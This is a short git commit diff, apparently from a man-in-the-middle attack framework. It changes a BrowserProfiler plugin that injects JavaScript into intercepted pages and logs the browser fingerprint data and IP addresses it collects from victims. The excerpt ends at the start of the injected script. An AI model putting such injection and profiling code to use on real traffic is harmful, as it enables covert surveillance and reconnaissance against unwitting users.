revamped beefapi, fixed BrowserProfiler output

This commit is contained in:
byt3bl33d3r 2014-08-27 00:09:18 +02:00
parent f05e132813
commit ff235e3e90
4 changed files with 111 additions and 92 deletions

View file

@ -29,8 +29,10 @@ class BrowserProfiler(Inject, Plugin):
if 'clientprfl' in request.uri:
self.dic_output = self.post2dict(request.postData)
self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client
if self.dic_output['plugin_list'] > 0:
self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',')
pretty_output = pformat(self.dic_output)
logging.warning("%s Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
logging.warning("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
def get_payload(self):
payload = """<script type="text/javascript">